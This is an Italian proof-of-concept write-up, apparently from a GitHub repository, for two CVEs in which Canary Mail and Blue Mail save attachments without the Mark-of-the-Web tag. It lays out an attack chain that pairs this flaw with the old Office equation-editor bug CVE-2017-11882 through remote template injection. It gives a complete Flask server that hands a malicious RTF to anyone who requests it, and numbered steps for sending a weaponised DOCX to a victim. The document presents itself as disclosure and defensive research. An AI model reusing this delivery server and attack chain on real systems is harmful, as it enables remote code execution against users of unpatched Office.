PoC per CVE-2025-65318 e CVE-2025-65319

• CVE-2025-65318 (BDU:2025-13740): Quando si utilizza la funzionalità di interazione con gli allegati, Canary Mail 5.1.40 e versioni precedenti salva i documenti su un file system senza il tag Mark-of-the-Web, consentendo agli aggressori di bypassare i meccanismi di protezione dei file integrati sia del sistema operativo Windows che del software di terze parti.
• CVE-2025-65319 (BDU:2025-13739): Quando si utilizza la funzionalità di interazione con gli allegati, Blue Mail 1.140.103 e versioni precedenti salva i documenti su un file system senza il tag Mark-of-the-Web, consentendo agli aggressori di bypassare i meccanismi di protezione dei file integrati sia del sistema operativo Windows che del software di terze parti.

Panoramica

Il problema principale non è che gli utenti aprano allegati malevoli, ma che app come Canary Mail o Blue Mail forniscono una funzione comoda ma insicura per salvarli o aprirli. Considero questa una vulnerabilità di sicurezza che espone gli utenti agli aggressori.

CWE-693 - Mancata protezione del meccanismo

PoC

Per dimostrare l'apertura non sicura degli allegati di Office Word tramite la finestra di dialogo "Apri con" o "Salva con nome", è stata utilizzata la vulnerabilità CVE-2017-11882 nell'editor di equazioni per Office Word 16 e versioni precedenti.

1. Creare un oggetto RTF malevolo sull'host dell'aggressore che apre una calcolatrice sull'host utilizzando lo script.
2. Distribuire un server per inviare un documento RTF malevolo utilizzando Remote Template Injection.

from flask import Flask, send_file, request
import logging
from datetime import datetime

app = Flask(__name__)

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

@app.before_request
def log_request_info():
    logger.info(f'Request: {request.method} {request.url} from {request.remote_addr}')

@app.after_request
def log_response_info(response):
    logger.info(f'Response: Status {response.status_code} for {request.url}')
    return response

@app.route('/download')
def download_file():
    try:
        response = send_file('exploit.rtf', mimetype='application/msword', as_attachment=True)
        logger.info('File download successful')
        return response
    except FileNotFoundError:
        logger.error('File exploit.rtf not found')
        return 'File not found', 404

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

3. Creare un documento DOCX arbitrario e utilizzare l'iniezione di template remota eseguendo, ad esempio, uno script PowerShell.
4. L'aggressore invia il documento DOCX malevolo risultante alla vittima.
5. La vittima apre il documento malevolo utilizzando le funzioni "Apri con" o "Salva con nome" in Canary Mail/Blue Mail.
6. Quando apre un documento malevolo, la vittima può essere compromessa senza premere alcun pulsante aggiuntivo.

Impatto

Una potenziale RCE per gli utenti che utilizzano versioni obsolete del software Microsoft Office Word 16 e precedenti

Versioni interessate

• Canary Mail 5.1.40 e versioni precedenti
• Blue Mail 1.140.103 e versioni precedenti

Video PoC

CVE-2025-65318

https://github.com/user-attachments/assets/fc99d603-f56f-451b-a9f2-821422feef61

CVE-2025-65319

https://github.com/user-attachments/assets/68b638b9-e906-4c78-baae-84a369f807f3

Riferimenti

• https://bdu.fstec.ru/vul/2025-13739
• https://bdu.fstec.ru/vul/2025-13740

Dichiarazione di non responsabilità

Questo repository è destinato esclusivamente a ricerche di sicurezza educative e difensive